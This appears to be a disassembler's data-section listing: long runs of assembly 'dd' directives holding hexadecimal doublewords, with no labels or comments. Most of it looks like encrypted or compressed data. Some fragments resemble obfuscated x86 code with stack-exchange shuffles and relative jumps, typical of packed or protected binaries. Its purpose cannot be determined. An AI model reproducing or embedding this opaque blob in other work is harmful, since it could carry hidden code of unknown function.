		dd 0ECA537A0h, 37B5AAEDh, 9927FFA5h, 2B661A3Dh,	2873AA6Bh
		dd 8169FFA5h, 73A9E4C0h, 0D5749828h, 19FABC04h,	0CC3A8Ch
		dd 4A880000h, 2F4DE0A0h, 0E4094599h, 0EA004C90h, 0C24FBB8Fh
		dd 9F2E7124h, 0D72F44E6h, 7BCB594Bh, 63F5BD5Fh,	9F047A1Eh
		dd 8210450Eh, 0A7F9B9E8h, 891B305Ch, 0DAD761FBh, 305CA7DAh
		dd 48EC683Ah, 8CFBC632h, 305CA421h, 0CC611339h,	54A8CA60h
		dd 77019681h, 0B592A73Ah, 98158F37h, 2BBD2AC5h,	0C7B9E876h
		dd 6CFEA42Fh, 862F4DE0h, 0FC75072Ah, 3C31AA96h,	0F6893E36h
		dd 0F7000009h, 3F991464h, 60CC611Bh, 9701ACCEh,	0C470FD7Fh
		dd 32AA4B31h, 47085F5h,	56D6CF69h, 0A2DA7DDFh, 0E98BA113h
		dd 0A872344h, 2870028Ah, 7812708Ah, 0E34339DCh,	0B83454E1h
		dd 7005E241h, 83F91CB8h, 44E874F2h, 1CD4EE36h, 0BFD692B8h
		dd 4DE3E13Dh, 0A0B362A0h, 0EDECA537h, 5F37B5AAh, 0BDD528C5h
		dd 46D55C5Ah, 73205353h, 3FD1BD28h, 4DE3E13Dh, 9DCD88B8h
		dd 0F743D4D1h, 3B45990Bh, 96B0F0A1h, 74602873h,	2E0A98E2h
		dd 7397835Fh, 34D57928h, 1A0E1DE7h, 0A5598Ch, 4A690000h
		dd 420ED6A0h, 9071CDAFh, 305CC125h, 0C8651725h,	759ACE6Ch
		dd 879F3B0Bh, 15AB3905h, 4FEABF87h, 28B44ED8h, 0AFE27406h
		dd 305CC0EFh, 0D6B78321h, 37B5AF03h, 0A9FC7133h, 24641D8Eh
		dd 0EC2873AFh, 0F1561CB1h, 4DE3ACF1h, 1D742DBFh, 952FC783h
		dd 3CD17D0Fh, 0AD29B538h, 9004EC88h, 3E72FF7Dh,	863C31E3h
		dd 8EF194Eh, 6D8E0000h,	22366213h, 0D57BD558h, 76AE0AABh
		dd 3ADF79F4h, 0FC3DB342h, 7203799Ch, 0A04DCFC6h, 1499E374h
		dd 4DE092B8h, 83037E28h, 8D287001h, 0A74A097Fh,	5EFC58D5h
		dd 4A31911Ch, 9844D6A0h, 0A83A0A88h, 0CDC3481Dh, 240CEE0Eh
		dd 482ECC88h, 5BCD5959h, 5BE9BB30h, 7830BDAh, 5FE98314h
		dd 671A9EF7h, 305BCD27h, 0D925BBE9h, 6B9E6FCBh,	4B37B4A7h
		dd 0DA04BD59h, 8706AB33h, 5D233594h, 0AA336424h, 60F6AC29h
		dd 0B346069Ch, 17A13BC9h, 0AA331A9Ah, 879EFA29h, 45D77705h
		dd 0B8E9FF3Bh, 310327EDh, 61ED7F25h, 5250AC30h,	0A13C4AE6h
		dd 0B0A50290h, 0DB966258h, 4031CB58h, 21C1A340h, 0DFDFD2D0h
		dd 3121C1A2h, 564BDD73h, 2916031Dh, 0DD791391h,	0FDEB47C5h
		dd 34B9BB51h, 69007298h, 2563632Dh, 6665995h, 0E7000008h
		dd 2F892454h, 50FC710Bh, 8731BCBEh, 34600D8Fh, 42DA5B21h
		dd 1460F5E5h, 66E63F99h, 0B2CA6DCFh, 0F97B9103h, 1A971374h
		dd 286FFF9Ah, 4A62407Ah, 0A944D6A0h, 0B00BF606h, 1466F401h
		dd 0CC24BAC8h, 0F352DD90h, 27671A5Eh, 0E9305BEDh, 59725BBh
		dd 0E0A0D16Bh, 30305BECh, 3A44EA72h, 7110D8EAh,	37B4D2E6h
		dd 247FF6ACh, 950C9E09h, 2FC710B8h, 369E287Ah, 79DB5A24h
		dd 7D17A1D3h, 86128404h, 0DA168C20h, 0B7203386h, 51066C25h
		dd 188A27DAh, 4E34C68Eh, 99515353h, 80504418h, 8E9F9CC5h
		dd 7C0E9C06h, 0F53D3FD0h, 0CCAE4CE8h, 4CEE7670h, 0EB23B35h
		dd 8614D706h, 8AA024BEh, 0C26D00E8h, 9F29C355h,	9939A2E2h
		dd 41307218h, 18993A41h, 8F19D1D3h, 0F2215712h,	0AC455F1Fh
		dd 2C4802E4h, 1EBB2C20h, 0DF000007h, 7B13C3Ch, 48E489F3h
		dd 0FF59D4A6h, 2C8825A7h, 6AC27309h, 2C48EDCDh,	7EFE1781h
		dd 0CAB245F7h, 1163892Bh, 0F2AFFB9Ch, 286FFEB2h, 0B37A2862h
		dd 0ECA537A0h, 37B1037Eh, 5E069012h, 7F69C1BBh,	0A0D479E5h
		dd 0CEEA465Ch, 1CB8522Ch, 13BF8705h, 4EC8202h, 83FD1FB9h
		dd 0B3C96DE9h, 45995153h, 58F265F0h, 3D7D34CEh,	2D287004h
		dd 70043474h, 0CEC6DC28h, 0E26D1CD4h, 4A2FC8E9h, 4E8DCFB3h
		dd 4FAB6997h, 0DA6801A3h, 0FA3C31A2h, 68B756Ah,	0C9620000h
		dd 86AA06AFh, 39DF79F4h, 1202AE47h, 9EB31D90h, 60D957DEh
		dd 169FDD70h, 44E96BBAh, 0B83547E8h, 0F17CFE1Ch, 1F9F128Ch
		dd 0F1286FFEh, 0A0B3E5DBh, 4FECA537h, 0E337B102h, 8DAF37C1h
		dd 0A5FD59F3h, 1C5DF27h, 2EB488ECh, 0BF5DFFC2h,	0CE6761BDh
		dd 542E3629h, 0F957E6D7h, 3E69C8Ah, 0A25F830h, 0F0960B9Dh
		dd 9C2FC42Ch, 45E87406h, 1DD5EF37h, 4F29C38Bh, 96E00AA6h
		dd 8094304Eh, 50982AFAh, 0BC02929Dh, 130EB1E6h,	0CDAF4004h
		dd 0F21AD3Fh, 8614916Dh, 7DF597CBh, 0D4CD891Fh,	930E9850h
		dd 27DC0FD8h, 8B2DC4DEh, 8B242614h, 5D704BBh, 85960000h
		dd 3ADE7AFBh, 0ED03AD40h, 5EB6E293h, 52E751DCh,	14158B2Ah
		dd 4AEB91A4h, 0B835B7EEh, 0EC81FB1Ch, 25C8AA40h, 6B2B6640h
		dd 0A5286FFEh, 0A04A3197h, 2FA944D6h, 69F9F219h, 0A7257DD9h
		dd 0B1ED455Fh, 0C076AF37h, 0ECF64E2Ch, 89F8865Eh, 305BD309h
		dd 2F0B990Bh, 8517618Bh, 0F844C8D9h, 0E8830EEAh, 3248EC4Dh
		dd 1700A9Ch, 305BD381h,	6DEF2793h, 0B57D1391h, 0BA1F7E33h
		dd 2D7737B4h, 0BB9430D1h, 0C4482872h, 0E60CF425h, 2E6A8C1Ah
		dd 5C000000h, 0C71F5DF0h, 0B35775BDh, 0A76F30A0h, 0BC3CF2E0h
		dd 0E6E59C2Eh, 0AC37B4ADh, 5B772EF6h, 12872ADh,	45BF5CFDh
		dd 0A18C1AF8h, 0BFh, 0D6A04A01h, 0CDAF420Eh, 0C5B74571h
		dd 0BDBF5D79h, 0C1665130h, 0D664305Ch, 0A54A12A4h, 0B1790BDBh
		dd 86A802Ch, 65F66134h,	5CC16C2Ch, 0D9C8A430h, 0A537C55Bh
		dd 0D238720Bh, 0A606741Dh, 0D02CBB4Ah, 980A37B4h, 44D74215h
		dd 72D04D4Dh, 4FDDC728h, 0F835C4BDh, 0ED872FC6h, 86F7F4B4h
		dd 0AA861C20h, 824ADCC6h, 34600D6Fh, 0CCC55F21h, 2086F7CCh
		dd 6B2B5E44h, 0A52086F8h, 5EC069FFh, 663C316Ch,	493F9EEh
		dd 0C16A0000h, 7E923EB7h, 31C771FCh, 1A0AA64Fh,	96BB1598h
		dd 58D14FE6h, 0EA7D578h, 7CF173A2h, 0B03D3FD0h,	0E984F604h
		dd 27671A84h, 0E9286FFCh, 0A74AEDD3h, 5EFC58D5h, 0B331911Ch
		dd 89EB01A0h, 0F992FB5h, 34B8E975h, 6F1EDAE8h, 37B5AB70h
		dd 0C1A07C26h, 2873AAE5h, 5D6779Bh, 8C19F9BBh, 1163Bh
		dd 6011AB00h, 2873B720h, 4446B2F0h, 0F3B3EE78h,	0D5305CC4h
		dd 4D573FBDh, 5E1B31E5h, 897D0798h, 29F58BC4h, 10EC88ADh
		dd 5C234671h, 0E59C3630h, 305C22A5h, 0D9FD356Fh, 0AC4133h
		dd 0B0478FEAh, 0B51774Eh, 3FCDAF43h, 0B54FD9E7h, 5CBBBCFCh
		dd 5B4E5430h, 305CBC5Bh, 419DDF7Dh, 99515343h, 628829C4h
		dd 6CE88210h, 626EB634h, 5153B3CDh, 0E77177C3h,	0BC54544Dh
		dd 0E6BC305Ch, 9B6C7B0Ah, 0D8CA37B5h, 80170255h, 36C15CF6h
		dd 0F4DF3B2Fh, 6AE0E149h, 462FC720h, 5E064F5Bh,	113BBF0Dh
		dd 77059F67h, 6A8F57E1h, 6A036312h, 5BBAF7F5h, 0A43ECF07h
		dd 0CD58B13Bh, 0B75A7EBAh, 2EBC2CC5h, 44983C31h, 36813h
		dd 8AEA0100h, 0D7A549EBh, 225CF25Eh, 73F12193h,	0B9C356C2h
		dd 1783A434h, 59FB7A02h, 8F29C448h, 339D1068h, 0B1D65F19h
		dd 0FAFCBCF5h, 0E614286Fh, 0D1A74A80h, 5CC4E0A0h, 0DC723030h
		dd 2B55E751h, 59233591h, 0C4D2D2CFh, 6042305Ch,	4ABD0588h
		dd 0AA44D6A0h, 3B6E0822h
		dd 305CC57Bh, 0CDC1BB5Dh, 8BC71BD7h, 479E1761h,	34DA823Dh
		dd 0C6DEFA4Ah, 54EAF844h, 0C156C19Ch, 9F877A37h, 38D537B5h
		dd 849E0889h, 0B65A9622h, 0D67E28ECh, 0DDE73F41h, 93107415h
		dd 0A6B1CC1Ch, 0BA8AF207h, 0F775AC28h, 0EBDAD761h, 4B8B9691h
		dd 25308559h, 0F06918B2h, 0C283A8F1h, 290164E7h, 0D66490DEh
		dd 729844h, 7929C36Dh, 6613A1D3h, 8810CA0Ch, 96BF102Ch
		dd 57000002h, 9F39B4C4h, 0C06C017Bh, 77A14C2Eh,	0A4109D1Fh
		dd 0D24AEB91h, 0A4D06555h, 0F676AF09h, 423ADD7Fh, 89EB01B3h
		dd 6A2783E4h, 286FFA2Ah, 4AF2D0EAh, 9844D6A0h, 903C0072h
		dd 826EFC7Eh, 0F989B6Eh, 0AC45047Dh, 574D37B5h,	489028C5h
		dd 0D1B843A5h, 420A9419h, 0C465CDAFh, 0AE393428h, 0E361B01Ch
		dd 82F48103h, 51C28B4Ch, 0E88264CCh, 3A63235Eh,	0F7AD2873h
		dd 14974A3Bh, 851F2FCCh, 0A4D8F081h, 0CE69BD1Ch, 0A564245Dh
		dd 0F6AC63FBh, 0E90ED660h, 58EE8EA1h, 356CFE84h, 63FBA575h
		dd 0BB2D059Fh, 0E597A521h, 9A317C0Dh, 811B6B54h, 99FABAF7h
		dd 881A5C12h, 12999919h, 0F91F7B5Ch, 2A67F187h,	5C129A6Ah
		dd 4C30F8AAh, 383B8E56h, 0EB641DAFh, 0C76366F9h, 18F90BDAh
		dd 85B7C16Eh, 0F9FE8F1Fh, 0B14BD931h, 0F8750715h, 35BCBE5Ch
		dd 0EFD2A9ABh, 9E645BEBh, 5F000001h, 8731BCBCh,	0C8640973h
		dd 7FD95426h, 0AC08A527h, 0EA42F389h, 0ACC86D4Dh, 0FE7E9701h
		dd 4A32C577h, 91E309ABh, 722F7B1Ch, 286FF932h, 78FAA8E2h
		dd 0FE46C4DCh, 0C4F1B1E0h, 8123305Ch, 799307F3h, 0D46624C9h
		dd 0BA485AAAh, 7ACA586Ah, 8923B4A7h, 0B5A89118h, 92238137h
		dd 0A9445253h, 2F5AC3Eh, 0B02FCC82h, 0BB9B2AF2h, 64B97993h
		dd 67275AC9h, 0A9679795h, 0DED365FBh, 6EF089D3h, 0C89D6143h
		dd 0C3C3BE2Dh, 4D5FAE89h, 7A37C157h, 6702EA01h,	0F965F7ADh
		dd 208C2153h, 5C1680Ah,	5DEB7E7Ah, 0F72E81h, 65F60000h
		dd 1A3E9A1Bh, 0CD63CD60h, 7E9602B3h, 32C771FCh,	0F435AB4Ah
		dd 6A0B7184h, 0D855D7CEh, 0CA1DB7Ch, 45E88AA0h,	8B0B8620h
		dd 85286FF9h, 0A04A1177h, 992F4DE0h, 0C465F045h, 22B44A30h
		dd 0B5A4F46Fh, 56E0C237h, 9C156B8Eh, 2873A51Ch,	0BC18AEF4h
		dd 870AE664h, 44D641ECh, 5B0F22AAh, 0FF3BC94Bh,	0C7E46C0Eh
		dd 0B86202Fh, 2086E58Bh, 98BF1F85h, 0F0861CE0h,	0E88AA02Ch
		dd 0DF7DD945h, 0CB61559Dh, 0B14B55A9h, 978FC15h, 2086E589h
		dd 30D1198Bh, 469AD46Ah, 6DB1CB6Eh, 8A9A3061h, 18AE3408h
		dd 963759C4h, 66BEB852h, 0E50FCE5Ch, 86A8044h, 5321CB65h
		dd 5AD45E5Eh, 5EECB6FAh, 86DF886h, 0C6120D0Eh, 0B4ECC820h
		dd 1538A436h, 41059F67h, 6E74C8ACh, 17396E82h, 0CDC48076h
		dd 5EDF74Fh, 74F97B91h,	0FC4032D8h, 8CBh, 0DC781B00h, 0D0EA46C4h
		dd 0D7A14A72h, 0CFA9430Fh, 0C4B45B77h, 0C7455C78h, 0BEBE537Fh
		dd 0B5C76A66h, 0B7356D69h, 0B3CD636Fh, 0A9D36753h, 69685E55h
		dd 89000049h, 8957240Ch, 4C781E7h, 81000000h, 4EFh, 243C8700h
		dd 2434895Ch, 81E28952h, 4C2h, 4EA8100h, 87000000h, 895C2414h
		dd 0BD55242Ch, 3CE606C8h, 6AA6ED81h, 0C58309F3h, 7EDC101h
		dd 0DCE6C581h, 0EE890786h, 4EC835Dh, 83242489h,	5D042404h
		dd 8B850h, 0E8010000h, 48B3089h, 4C48124h, 8B000000h, 8953242Ch
		dd 4C381E3h, 81000000h,	4C3h, 241C8700h, 24348B5Ch, 81E28952h
		dd 4C2h, 4C28300h, 5C241487h, 0FCAD51E9h, 0D8B8DCFFh, 307ECCDh
		dd 0C4E0FFC5h, 872EBBDAh, 0A246E582h, 7113F0CCh, 0FF7BC4AEh
		dd 4B669C13h, 0E472AD9Dh, 0BF7212DEh, 0EC258DDAh, 5C6D3BFAh
		dd 0D3032E21h, 0B772291Eh, 0B9177D65h, 8E6D0647h, 6A055E4Ah
		dd 0D7060249h, 0FB373CE0h, 906656A5h, 7C1536DAh, 0EA062E95h
		dd 7C2F77C7h, 846337CBh, 0B33C7BA9h, 533190F6h,	0F17AC21h
		dd 0B972EA5Dh, 0E82196BFh, 0Ah,	3BCDF2D8h, 2F1C3098h, 0B70F36DCh
		dd 0B70F59D7h, 0BBC181F6h, 0E900005Dh, 0Fh, 0DD752E77h
		dd 0ED07A31Ah, 53FDA90Ah, 0BB97D4D1h, 73BAD026h, 0B8E7EB81h
		dd 0E95273BAh, 0Eh, 592B0521h, 8073EABDh, 0C6CC9D0Eh, 0FF586C4Ah
		dd 70DC8031h, 5E95Fh, 4C440000h, 81F099ADh, 32A337EFh
		dd 0F6BF0F22h, 106EEF81h, 0BF0F5ADAh, 0CDC781F3h, 89366A0Eh
		dd 92BE6639h, 3E983C3h,	0FBF08149h, 4B626636h, 13850Fh
		dd 0B8660000h, 30E9EA7Fh, 7F000000h, 3220E41Eh,	62A0122Fh
		dd 8E9DCh, 0D3EF0000h, 5BA9F0D8h, 9CE90070h, 26FFFFFFh
		dd 2A8FB779h, 0CD715E7h, 46B1104Fh, 51FDC756h, 0E99A87ACh
		dd 15h,	6A83663Ch, 4 dup(0)
		dd 54FE900h, 75860000h,	2ACE6A0Bh, 0DD73DD50h, 6EA612A3h
		dd 42D741ECh, 425BB3Ah,	7AFB8194h, 0A845C7DEh, 1C91EB0Ch
		dd 55D89AB0h, 7B3B7630h, 95286FF6h, 0A04A0167h,	0E6700ED6h
		dd 5CC4EBABh, 0B37F2530h, 138EF207h, 305CC493h,	1C91277Dh
		dd 0B2DFEB82h, 0ADEDEDEEh, 0BEBB5145h, 675645C1h, 9965FBF2h
		dd 0CB5D1F3Dh, 0B68EEE03h, 2CA8C42Ch, 27927208h, 92B86C0Dh
		dd 4CE34DE0h, 17812Ch, 0F928A478h, 5A57E17Bh, 305CBD5Ah
		dd 0EC00E8BAh, 5C55EFBBh, 305CBD5Ch, 4436D8B4h,	77167AB6h
		dd 48E29ABDh, 0BCC3C3BEh, 574D305Ch, 0C8A65BC6h, 0B57D0DF5h
		dd 0C6E8C28h, 86F6E37Ah, 123700C7h, 50FC8A26h, 5C66BEBCh
		dd 0FBDAF594h, 5FB1305Bh, 0A9A31DBEh, 60C38431h, 0E7000000h
		dd 0ED6A04Ah, 5CC51597h, 5F193330h, 5ADACB87h, 54F51F8Ah
		dd 4CED07A6h, 30E0358Fh, 3163FA84h, 0A68904D4h,	11C5199h
		dd 0A6000000h, 8D4A64Ah, 38D2A84Ch, 28007A9Ch, 4AC8D8F4h
		dd 7EFC14B0h, 0B9537EB2h, 3A40D410h, 81F319BBh,	0A9D872ECh
		dd 305CC4E9h, 802193D2h, 761ED714h, 4AC6C42Ch, 4D09D5A7h
		dd 306BD4A9h, 2E942CFCh, 0B1460E98h, 856D77CFh,	0CB729269h
		dd 0A3B6F419h, 594905D9h, 0EB790BDBh, 0DE7CD855h, 3E961E9Bh
		dd 7CD5601Ah, 8E8109A2h, 8F527F94h, 0C7455DF9h,	0BD3ED31h
		dd 785C94E4h, 7C58A4D6h, 74409CDEh, 0A7E79A1Ch,	69305C99h
		dd 8259A53Bh, 0A31FDB82h, 0D3DDFE9Fh, 58843104h, 6D245AFCh
		dd 305CA42Dh, 0D72FBDE7h, 5DC865CDh, 9A000000h,	9D5A74Ah
		dd 0DD1AB4Dh, 0E90DAC40h, 79B1CB6Dh, 31BCB85Dh,	3A0A7287h
		dd 7204869Eh, 0C4E9A9D8h, 792B305Ch, 0C14D7DB1h, 0D9F9FB18h
		dd 50758430h, 69000000h, 0CEE2A2DFh, 7032305Ch,	0A74A0AB8h
		dd 0AA4D09D5h, 0D52953E4h, 38E539CFh, 0F4817514h, 6B7B5AB2h
		dd 19BD753Fh, 55ED80F4h, 0A1D0A64Ah, 305CC4E1h,	0C4D8D8C9h
		dd 6A38305Ch, 1AEA782Ah, 5CC5506Bh, 44E50F30h, 30E02D97h
		dd 14984h, 78190000h, 0E34339DCh, 8BAD09E1h, 0F9932DF1h
		dd 5CC50888h, 5E9A0830h, 5EA6D07Ah, 42862729h, 823D2ACh
		dd 0B1E07AEDh, 37B5AD76h, 60F6AF46h, 4E96E80Eh,	8343A134h
		dd 2B7519D1h, 736A3676h, 36C4DE28h, 2E48E2EEh, 6334019Ch
		dd 0C847473Ah, 0DBC92872h, 3EEF3442h, 0E57FEFF2h, 56564Bh
		dd 0E4BE2873h, 72FFF5B5h, 0C1851F28h, 0EEF4482Ch, 0CC849602h
		dd 63C3512Bh, 2755F965h, 783ACBh, 0F18D2873h, 64B83C55h
		dd 0CF6E925Eh, 2282F705h, 4BFC3761h, 0AE36C056h, 4150F476h
		dd 896163C3h, 0F082A804h, 0C272CF66h, 83A395FBh, 738F8E0Eh
		dd 8E1C8628h, 0A8420EA2h, 962456F8h, 0EA93FD4Eh, 0D3621C3Eh
		dd 1A168E76h, 153BA38Ch, 0E0A0D16Bh, 3028739Ah,	116B8672h
		dd 7F000001h, 0A537A0B3h, 8B671539h, 0B8E9831Dh, 305CC4F8h
		dd 0DFAE8A18h, 37B599E0h, 88EA00CCh, 1EC22EB4h,	942EB884h
		dd 73999D1Dh, 77768E28h, 707E6683h, 0EAA861Ch, 0B1E392ECh
		dd 4905D99Bh, 0AD47D1A3h, 7318B4F4h, 0EA465C28h, 0F29BE5B6h
		dd 0DB5A2436h, 1A8C966Eh, 90019B8Ch, 28732510h,	1B56A200h
		dd 3Ch,	2DBAB3AFh, 0C4C6E69Bh, 28B4B05Ch, 0D7BB7705h, 109071CDh
		dd 7B05CC5h, 0F80D30D9h, 8A8D973h, 8305CC5h, 0C4A3E39Eh
		dd 336D305Ch, 5CC53E7Eh, 3ECCD630h, 71B005A8h, 0D2000000h
		dd 0A537A0B3h, 0B593F1ECh, 3E3C137h, 41DBA5B7h,	92BAFAB7h
		dd 485A2873h, 99B31DE0h, 419E07DFh, 0F4287392h,	6D8F39E0h
		dd 84047D17h, 8C287392h, 92236316h, 0B7ED2873h,	5ED98C21h
		dd 30423FC9h, 862FC8C2h, 0C2F5B5ECh, 851F2086h,	3E3C1ADh
		dd 4636D985h, 0A80CE4FEh, 0FB2CF082h, 691327AFh, 0F1BC5D81h
		dd 2A67F166h, 27DBF358h, 63A74E54h, 0A537A0B3h,	6C485B08h
		dd 0C8CFA9CEh, 52C35A54h, 0DD5EDB7Dh, 0E00D5E4Fh, 9100E652h
		dd 37B11DFFh, 0A32FF7ADh, 0EA46EF89h, 3F7F3240h, 19286F1Eh
		dd 27BD81F3h, 4040316Fh, 0D0286F1Eh, 56AE3CD2h,	0DE699FAFh
		dd 34CE5895h, 0FF6A3D7Dh, 65CDD7BAh, 869450F9h,	3DDF79F4h
		dd 6A4A4A47h, 0D8CABAFFh, 409CDE7Ch, 6450AC42h,	2156AE2Ch
		dd 0CAFDC865h, 28252A82h, 0CBFD9CC0h, 0ADCF6121h, 103A961Fh
		dd 3299E66h, 79000000h,	0A14AF654h, 0A9430FD7h,	0B45B77CFh
		dd 455C78C4h, 0BE537FC7h, 0C76A66BEh, 356D69B5h, 0CD636FB7h
		dd 0D36753B3h, 525E55A9h, 0C281E289h, 4, 4EA81h, 14870000h
		dd 3C895C24h, 0E6895624h, 4C681h, 0EE810000h, 4, 5C243487h
		dd 68242C89h, 1C8Ch, 57240C89h,	0ECCFCCBFh, 0FB895307h
		dd 5F5BDD89h, 4EC81h, 24890000h, 24048124h, 4, 4EC8159h
		dd 89000000h, 418F242Ch, 240C8B08h, 81E78957h, 4C7h, 4C78300h
		dd 5C243C87h, 5D2434FFh, 0E904C483h, 0FFFCA6B2h, 54FA3A4Eh
		dd 0D8513194h, 0D495B80Eh, 0C50307ECh, 931CE0FFh, 9C9114E5h
		dd 0EAA66B42h, 82E92F9Ch, 0CE9A5B91h, 1C6285Eh,	33F864B9h
		dd 0D9F8773Ah, 0B2A0127h, 48E924A3h, 48000001h,	4C000000h
		dd 50000000h, 54000000h, 58000000h, 5C000000h, 60000000h
		dd 64000000h, 0A8000000h, 0AC000000h, 0B0000000h, 0B4000000h
		dd 0B8000000h, 0BC000000h, 0C0000000h, 0C4000000h, 0C8000000h
		dd 0CC000000h, 0D0000000h, 0D4000000h, 0D8000000h, 0DC000000h
		dd 0E0000000h, 0E4000000h, 38h dup(0)
		dd 67000000h, 3005C13h,	8D00B4C2h, 0ECD54D85h, 11E907h
		dd 0ADB0000h, 0A803CFF7h, 437EAB8Eh, 0BABF42E6h, 89ED778Fh
		dd 0ECD68D85h, 0C6D98A07h, 0E9265985h, 7E95407h, 0B000000h
		dd 532CB680h, 8368E676h, 0E8CA6FA8h, 5,	0EA6E8A53h, 4815E06h
		dd 0F2BFA624h, 0A5BD8B23h, 0FF07E90Bh, 0E90B11B5h, 0F7816607h
		dd 858DB02Fh, 7EC9FDBh,	12E9h, 81BDA600h, 23F73E9Fh, 2AA7B85Ch
		dd 0D9B8CE4Fh, 0FF3A6DEEh, 0DDB503D0h, 8907E90Dh, 0ECD69185h
		dd 0E9D8B607h, 40h, 80E9CF81h, 8B564552h, 0ECD68DB5h, 83068907h
		dd 0ECD68D85h, 0C35E0407h, 4DB58D60h, 0EB07ECD5h, 6A560Fh
		dd 95FF36FFh, 7ECD691h,	4C6835Eh, 75003E83h, 89C361ECh
		dd 0E911F1BDh, 5FF85707h, 0D73E858Dh, 0ECBB07ECh, 89704486h
		dd 0E9133585h, 39EB07h,	0CC00B100h, 0E400B102h,	0B102h
		dd 0E2000000h, 0C44F1EEh, 0CC75E8E2h, 0A521F9EAh, 44CF2EEh
		dd 0D84DF8A9h, 1E75D287h, 6321D0CBh, 0F351D3F3h, 3949C8E9h
		dd 0A545FDE2h, 59D317E7h, 0D4A26447h, 0B3C88422h, 0D928E987h
		dd 0C43BD93Ah, 8F559C80h, 8BAACFD7h, 0A525253Fh, 2BA41587h
		dd 0E4267596h, 5FF6521Ah, 1F26380h, 689C1FDFh, 9626759Dh
		dd 18718BF3h, 0A525253Fh, 2BA41587h, 0E4267596h, 5FF5211Ah
		dd 1F26380h, 0ADF52EDFh, 0BF414A71h, 0A202CD12h, 0BCBC1780h
		dd 0B3267584h, 694B5C0Ch, 0B42274D2h, 7019C87h,	41A8C144h
		dd 0D2A098A3h, 4B3998A3h, 0F0649C87h, 0D39D8944h, 0F698F1D9h
		dd 725D2081h, 0B307C502h, 2D4BCA80h, 962274D5h,	11019C87h
		dd 0F1A8C644h, 96A098A3h, 693798A3h, 0E6639C87h, 0AD6A0C44h
		dd 0C43C7907h, 96219C8Fh, 6AA6059Dh, 98FA39ACh,	0C38EB3EFh
		dd 7EA29325h, 0BB219C87h, 5A218D0Bh, 2D2A7487h,	0A7F09C87h
		dd 0A14A163h, 0C89DBDB9h, 0E6A0C5F7h, 0D036E1A3h, 0E721F6B9h
		dd 5A219F6Fh, 0EE7ABC87h, 0B27D15DCh, 6F651D83h, 0A5218983h
		dd 1172DF87h, 0FCA8FDB3h, 0B3C8951Ah, 0A5E917E1h, 0C42A8D32h
		dd 0C121F680h, 4B219F6Fh, 667EBC87h, 0F65D15D8h, 4D651D83h
		dd 0B4218783h, 9976DB87h, 0A3B965A9h, 7E65505Ch, 0C6DE2388h
		dd 49BE4702h, 8421F680h, 69219F6Fh, 777FBC87h, 7E5515D9h
		dd 9651D83h, 96218883h,	8877DA87h, 55AAFA0Bh, 0C28C110Ch
		dd 0B9DE9B6Eh, 994AFE7h, 3C267586h, 30347B06h, 1D25F6E6h
		dd 0A239050Ah, 2634F480h, 59477E9Fh, 4D251D7Dh,	0A9C6106Ch
		dd 552C198Eh, 97499B6Eh, 1C9A8514h, 6F251D6Bh, 0E1C7F3B5h
		dd 3A739CEDh, 69219C84h, 0EEE2C6A7h, 5E05C80Eh,	2905D806h
		dd 96219C9Fh, 0B0E2CEC5h, 9ECDB02Eh, 5F22CFD4h,	6EC895A2h
		dd 0B44BC2DDh, 0B2769CEDh, 2D219C84h, 0C9E2C3A7h, 4F05E00Eh
		dd 0A105D806h, 0D2219C9Fh, 26E2CBC0h, 0C51F0DE3h, 8ADE4A0Ch
		dd 0C5769CEDh, 96219C84h, 14E2C3A7h, 0A105E00Eh, 0D605D806h
		dd 69219C9Eh, 0B3E2CBC0h, 65A26932h, 2BAA93E0h,	1F219C87h
		dd 0A237A93Ah, 0A5287580h, 0FD999C87h, 65DF905Fh, 3DCE38A3h
		dd 0B6F6E502h, 11C01D80h, 1D3FBCC4h, 49ED997Fh,	20A89C87h
		dd 0D5CD4BFAh, 0E0395C04h, 58F61D02h, 0E3E1AF80h, 2D219E6Bh
		dd 964B3674h, 4B2274D5h, 0FF019C87h, 86A8C644h,	2DA098A3h
		dd 0B43A98A3h, 8639C87h, 89860E44h, 0F55EEC47h,	0BD9E93FAh
		dd 0B698290Ch, 57E79B6Eh, 6EC8BADEh, 0E221F6C4h, 5A219F6Fh
		dd 0EE7FBC87h, 0B25515D9h, 6F651D83h, 0A5218883h, 1177DA87h
		dd 85FE1DABh, 3D7B0AA4h, 0B32F3D02h, 54CFF480h,	1C767F40h
		dd 7FA0C34Bh, 5332CA3h,	179417F8h, 96267592h, 5D2A8D32h
		dd 0BDE61D80h, 0A04AD6AAh, 7ABE4702h, 0B9A0FA80h, 2C2E25ADh
		dd 0D2219C81h, 69211F88h, 64DE9C87h, 0FA4157Bh,	47267594h
		dd 95C9CA87h, 6B219C87h, 2C7F5FD9h, 5325B8F3h, 7D25B8C3h
		dd 0F2219C87h, 0DBB25FD1h, 0D65D444Eh, 90AE9387h, 42219C87h
		dd 4C2ADD1Ah, 0EFA41180h, 0F267590h, 31A8650Ch,	5DC8933Eh
		dd 0C5729CEDh, 96219C84h, 10E2C7A7h, 0A105C00Eh, 0D605D806h
		dd 69219C9Ch, 0A4E2CFC4h, 0B935FCA2h, 0A66052B1h, 7F11BD32h
		dd 12A45A80h, 0F62675A1h, 0BAD217E1h, 0EA30A3F8h, 0B4219B6Fh
		dd 0BFA5E287h, 0D0F6D061h, 0CFD917E1h, 12059806h, 0CF583C8Eh
		dd 0D1C9CC87h, 49219C87h, 3D795FDFh, 0DB25B8C3h, 3425B8C3h
		dd 0D6219C87h, 0A9225FD7h, 0F9AC40FBh, 0D9302978h, 694B9B6Eh
		dd 0B42274D1h, 4019C87h, 59A8C244h, 0D2A098A3h,	4B3A98A3h
		dd 0F3679C87h, 99FC3044h, 1401785h, 0B2ECFF2h, 0DFACC548h
		dd 2ACD035Ch, 7E719CEDh, 4B219C84h, 0FDE2C4A7h,	0D605D80Eh
		dd 6D05D806h, 0B4219C92h, 9CE2CCC7h, 0A09C15AAh, 7F267591h
		dd 4B219C8Fh, 0AF0018FDh, 0D9DC0DF2h, 694B4C78h, 0B42274D2h
		dd 7019C87h, 41A8C144h,	0D2A098A3h, 4B3798A3h, 0F0649C87h
		dd 0A3C3144h, 4CE0110Ch, 31A89B6Eh, 5DC890B6h, 2D211888h
		dd 13E79C87h, 4CC8BADEh, 0F421F6D4h, 0D2219F6Fh, 0AA78BC87h
		dd 906D15DEh, 7E651D83h, 2D218983h, 5570DD87h, 4FC99071h
		dd 16219C87h, 0B2F98443h, 0BEAAFAE7h, 7BAAFAE6h, 871CCE6h
		dd 2273CCE7h, 0C679C6B6h, 111093D5h, 942EFDDFh,	8A7BE236h
		dd 6D05D80Ch, 0EA78CDD1h, 0DC2E9C0Ch, 2D219C92h, 96218C6Eh
